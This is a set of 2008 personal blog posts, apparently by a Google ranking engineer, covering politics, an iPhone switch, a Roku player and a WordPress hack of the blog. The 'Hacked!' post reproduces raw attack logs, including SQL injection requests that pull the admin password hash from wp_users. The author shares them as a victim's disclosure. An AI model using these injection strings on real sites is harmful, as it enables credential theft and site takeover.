Obama, live

We attended a Barack Obama fundraiser in San Francisco this evening. It was my first time at a full-on, campaign-run political fundraiser. I can’t say I like the overall experience; my preference is usually to just give money quietly online. But I thought that hearing Obama live would be worth it and it was.

Obama is a great speaker and not just in comparison to Nancy Pelosi, Steve Westley, and John Roos who preceded him tonight. And not just in comparison to John McCain or George Bush. What’s appealing to me is how much intelligence he was able to convey. Tonight, he spoke without any obvious notes or teleprompter and appeared to be speaking off the cuff. He would pause at times, even stop in the middle of sentences, listen for audience reactions, and think about where to go next. He clearly had a bunch of packaged riffs that, once he decided what topic he wanted to talk about, he could rely on for phrasing — he does those set pieces extremely well. But the interludes, the improvisation, the weaving it all together was at least as compelling.

The emphasis of the speech will, I suspect, show up in his convention speech: if people believe that he will make what he promises happen, people will vote for him. A strong message about creating confidence in a government that can execute competently and effectively. Clear and measurable platform-style positions for health care (insure all children, cost effectiveness) and education (college in exchange for national service). Less on foreign policy than I had expected, but forthright statements about a war that shouldn’t have been fought and restoring alliances. The biggest applause line may have been about shutting down Guantanamo and restoring Habeus Corpus; perhaps that’s a function of the audience, but it’s a significant sign of how disappointed everyone is with what the Bush presidency has done.

This was not a big speech for Obama. He was speaking to a very friendly audience, whose main goal, I think, was looking for reassurance that this election was not going to be 2004 (or 1988) all over again; I came in cautiously optimistic and left the same way. But I also left feeling that he’d be someone you could have an intelligent conversation with on almost any topic. And, more importantly, someone I can trust to lead this country thoughtfully and with the right goals in mind.

Off-balance-sheet entities? Really?

Over my vacation, I read Kurt Eichenwald’s Conspiracy of Fools, which is a wonderfully entertaining, novelistic narrative of Enron’s history and collapse. More on that in future posts, but having just finished that book, I choked when I read this in the New York Times’s hagiographic profile of Henry Paulson from Sunday:

Most notably, he advocated bundling bad loans into off-balance-sheet entities that theoretically would allow banks to improve their financial standing. The plan was a total flop and yet another signal that Mr. Paulson underestimated the severity of the problem.

I’m sorry, but how would that have helped? Isn’t this just an accounting trick? Isn’t the issue that these loans are not being repaid? I can understand the value in writing the loans down, but moving them off balance sheet without writing the loans down just shifts the problem around. Something’s very wrong with the state of accounting if this is what the Treasury Secretary is recommending.

New York can still be magical for me

I moved away from New York two decades ago for a life I enjoy a lot in San Francisco, but tonight we had one of those magical nights which you can only get in a city like New York.

The center of our evening was seeing South Pacific at Lincoln Center. It’s a great production of one of the great musicals. I’d never seen South Pacific before and I was surprised at how uncliched it was. While some of the story didn’t seem particular fresh and it couldn’t be controversial in the way it was in 1949, thanks to progress in society, I think they found something deeper in this production than I would have expected. Despite the disappointment of seeing an understudy for Kelli O’Hara, all the performances were great. It’s the type of show which reminds you how powerful live theater can be.

Then, walking home, we were surprised by beautiful fireworks in Central Park, courtesy of the New York Philharmonic. There’s nothing quite like walking along and seeing the sky light up like that.

These both followed doing some things with the kids and just being out and around the city. The day wasn’t too hot and humid, unlike a few recent ones. All in all, what one wants in a city vacation. I love living in San Francisco, but still miss New York when I’m not here; tonight reminded me of why.

Traded in my BlackBerry for an iPhone

I’m going to be a little long-winded here, but with the anticipated announcement of a new iPhone later this morning and having recently read John Gruber’s post about why hardcore BlackBerry users would be unlikely to switch to iPhones soon (hint: no keyboard), I thought I’d comment on that transition, since I just did it a couple of months ago.

I had resisted getting a “smartphone” for a while. I’d had a Palm III in the mid ’90s and didn’t find it something I really integrated with my life. I’d also had some ugly Sprint Phone in the late ’90s that let me browse news headlines and check mail at Yahoo, but it was painful enough to use that I never really got hooked. Then I switch to AT&T for a while for a much nicer phone and realized that, at the time, what I wanted was a phone that worked. When AT&T discontinued TDMA support without having a suitable presence of GSM towers in my neighborhood, I switched back to Sprint with a phone whose sole advantage was a rubberized case that could survive being dropped. I lasted with that for a few years — it worked fine as a phone and wasn’t too large. Given my limited experience with internet-enabled phones and PDAs, the bulky ugliness of BlackBerries and Palm devices, and my general resistance to anything branded as running Windows, I didn’t feel the need to get one.

Then, Steve Jobs pre-announced the iPhone. Like most technophiles, I swooned. Phone/iPod/camera/browser/PDA. Real internet access. The usability which I love Apple products for. And the prettiest device I had ever seen. So, I figured, I’d stick with my Sprint contract until the iPhone actually came out and then switch.

What intervened was that I started to make more phone calls for a few months, went over the 700 monthly minutes in my existing Sprint contract, and was charged the usurious rates they charge when you go above your limit. I called Sprint, told them I wanted to increase the calling time in my plan, but was told I could only do so by starting another two-year contract. Sorry, no.

By that time, the cool kids around the office were carrying the BlackBerry Pearl. It was small. It was available on AT&T, which I knew I was going to switch to, in order to get an iPhone. It was internet-enabled.

For me, the Pearl was the perfect email device. I didn’t use BlackBerry email, since I’m addicted to gmail’s threading, but the gmail mobile app is very well done. And the Pearl’s two-letters-per-key keyboard is very easy to type on — I can probably type on it at half the speed of a full-size desktop keyboard. Google Maps Mobile is similarly excellent. And, in addition, it could browse the web, but neither the built-in browser nor Opera were very good and, on the small screen, there was only so much of a browsing experience one could hope for.

Perhaps I’m too easily sold on a new device and too willing to compromise, but I really liked the Pearl. It was so much more functionality than I’d had before that I was totally hooked. I got used to reading things on it and wrote tens of email messages on it a day. It was good enough that, for the most part, I stopped carrying my laptop around the office. “Good enough” is an important criteria: anything that replaced it had to be better in enough dimensions to be worth the switch.

I was happy. Despite my original plan, I was going to stick with my BlackBerry, at least until there was a physical keyboard on the iPhone and, more important to me, a decent, native implementation of gmail.

On the other hand, Susan had gotten an iPhone last year and I’d become comfortable with it; ok, I was coveting it. On a vacation where we had poor GSM/Edge coverage but good WiFi, it worked very well (though modern BlackBerries do, too). I used the web interface to gmail on it and was more than pleasantly surprised. And I found that it was more important to me to have a well-rounded internet device than just a good email device. So I switched, even knowing that the device I was buying would be (hopefully) obsolete in a couple of months, due to the mythical 3G iPhone.

Now that I’ve switched, I can’t believe I held on to the BlackBerry as long as I did. What I’ve found is that I use the iPhone less for email than I used the BlackBerry, but much more in general. The phone experience on it is much more pleasant than I’d expected. The few native apps work nicely, but it really shines as an internet device. One shout-out: the new Google Reader beta for the iPhone is one of the most addictive apps I’ve ever used. And I’m very excited by the possibility of native apps, now that the SDK is out.

Of course, the iPhone still has its compromises. The lack of a keyboard does hurt, but I’m typing better than I had expected and wouldn’t want to give up any screen space or make the device larger. I’m hoping that with downloadable iPhone apps, we get an iPhone version of gmail mobile. (Despite working for Google, I have no idea if such a thing is in progress.) The Edge network is terrible once you’re used to anything faster, but the 3G rumors give my hope. And I still carry my iPod Nano with me, because the GSM interference (aka, BlackBerry buzz) is really awful when I use the iPhone hooked up to my car’s stereo.

So, is it the ultimate phone/mobile internet device? No, but it’s better than anything else I could actually buy today. And it’s a very satisfying piece of “realized science fiction” that I can carry around with me. It’s good enough for now.

Delegateball

There’s been some fascinating coverage of the Obama campaign’s strategy for winning the Democratic nomination, including Justin Sizemore’s accounting of how the race played out in delegates and, earlier, Ben Smith and Avi Zenilman’s profile of Jeffrey Berman, Obama’s delegate counter. Reading these pieces together, I’m struck by the resemblance to Michael Lewis’s Moneyball.

It seems obvious in retrospect, but by focusing on delegates and the places where the largest marginal amount of delegates could be picked up — caucus states, congressional districts with odd numbers of delegates — the Obama campaign was paying attention to the right statistics. By contrast, thinking about about states won and lost or even the popular vote could be considered a distraction; it appears, from this distance, that that was what Clinton’s campaign was doing — early in the race, they focused on states won and, later, perhaps in a too self-serving way, on the popular vote.

Hendrick Hertzberg makes the good point that “the popular vote is a relevant moral category” even though it is a “juridical irrelevancy” for both the nominating process and the general election. This is clearly a place where American politics feel broken and out of step with modern-day democratic beliefs. However, in the real world, the metric on which a race is decided — delegate count or electoral college vote — is clearly the right one to focus on. At the end of the day, the Obama campaign, as winners generally do, looks very smart.

Roku Netflix Player

I’ve been a very happy Netflix subscriber for almost a decade. The wide selection of movies and lack of pressure about returning at any particular time works really well for me. We all know that
Netflix’s rent-by-mail model will be replaced by net-based delivery before too long
, but the video-on-slow-demand model has been more than good enough — if it went away without something better replacing it, I’d be upset. And so far, nothing seemed better from a convenience standpoint: I wanted to watch on my TV, not hook up a full computer to the TV, use a normal remote control, and pay a fixed price per month for whatever we watch.

Last week, I ordered the Roku Netflix player and it arrived tonight. Setting it up took about five minutes, the bulk of which was trying to reach the outlet behind the piece of furniture underneath the TV. After it was running, we could watch any of the “watch instantly” titles from our queue. Took about five to ten seconds after selecting something for it to start playing.

The UI is pretty minimal, which is exactly what one wants. Rather than a fancy device which does a lot of things, this plays movies from Netflix. Period. Pausing, rewinding, and fast forwarding all work with a nice, Coverflow-esque UI. Queue management is not done on the player but on a normal web browser on some other machine.

The biggest drawback is that the selection available to watch instantly is still limited — about 10% of the things on my DVD queue were available for instant watching. That doesn’t bother me, because we’ll keep up our usual Netflix subscription and use this as a supplement until the world ends up cutting over to online delivery.

The other drawback we’ve hit is that you don’t have access to subtitles from the DVD. Apparently closed-captioning may be available for some things, but the subtitles usually interfere much less with programming than closed captions. We tend to watch with the sound fairly low and subtitles on after the kids are in bed. But, we can live with this.

For $100, I’m pretty happy with the box.

Hacked!

Last week, this blog was hacked. As far as hacks go, it was pretty minor: traffic coming from search engines was redirected to a spammy search engine (your-needs.info) with the query from the Referer header being passed along. Traffic from other links apparently didn’t get redirected.

The hack is described at the wordpress forums and appears to be spreading.

I’ve been running an ancient version of WordPress and had meant to upgrade, but it never seemed urgent; hopefully, I’ve learned that lesson. While upgrading, I decided to upgrade from the default WordPress 1.X theme I was using to this very nice Classy theme by Benedikt Rieke-Benninghaus, though I’ve already started tweaking it.

Thanks to Mike Hochster for telling me that my blog was broken and Brian White for pointing me at easy instructions for keeping WordPress up to date.

For the curious, I suspect the attack corresponded to one of the following log entries:

84.244.147.70 - - [27/May/2008:21:29:19 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
84.244.147.70 - - [27/May/2008:21:29:44 -0400] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"
87.118.112.44 - - [27/May/2008:21:35:34 -0400] "HEAD /wp-admin/ HTTP/1.1" 302 916 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:34 -0400] "HEAD /wp-login.php?action=logout HTTP/1.1" 302 782 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 391 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "GET /xmlrpc.php HTTP/1.1" 200 209 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:35 -0400] "POST /xmlrpc.php HTTP/1.1" 200 941 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:36 -0400] "POST /wp-trackback.php?tb_id=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:36 -0400] "GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 8256 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:37 -0400] "GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 8256 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:37 -0400] "GET /wp-trackback.php?p=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=2 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=3 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:38 -0400] "GET /wp-trackback.php?p=4 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=5 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=6 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:39 -0400] "GET /wp-trackback.php?p=7 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:40 -0400] "GET /wp-trackback.php?p=8 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:41 -0400] "GET /wp-trackback.php?p=9 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:41 -0400] "GET /wp-trackback.php?p=10 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=11 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=12 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:42 -0400] "GET /wp-trackback.php?p=13 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=14 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=15 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:43 -0400] "GET /wp-trackback.php?p=16 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=17 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=18 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:44 -0400] "GET /wp-trackback.php?p=19 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=20 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=21 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:45 -0400] "GET /wp-trackback.php?p=22 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=23 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=24 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:46 -0400] "GET /wp-trackback.php?p=25 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"
87.118.112.44 - - [27/May/2008:21:35:47 -0400] "POST /wp-trackback.php?p=1 HTTP/1.1" 200 265 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1 Security Kol)"

What we do (and what I do)

Udi Manber wrote a blog post introducting search quality at Google. As Udi says, we are “quite secretive about what we do” and this is a nice, simple summary of the sorts of thing we work on and what we think about. I’m on the ranking team but have spent more and more of my time over recent years thinking about the intersection between ranking and user interface.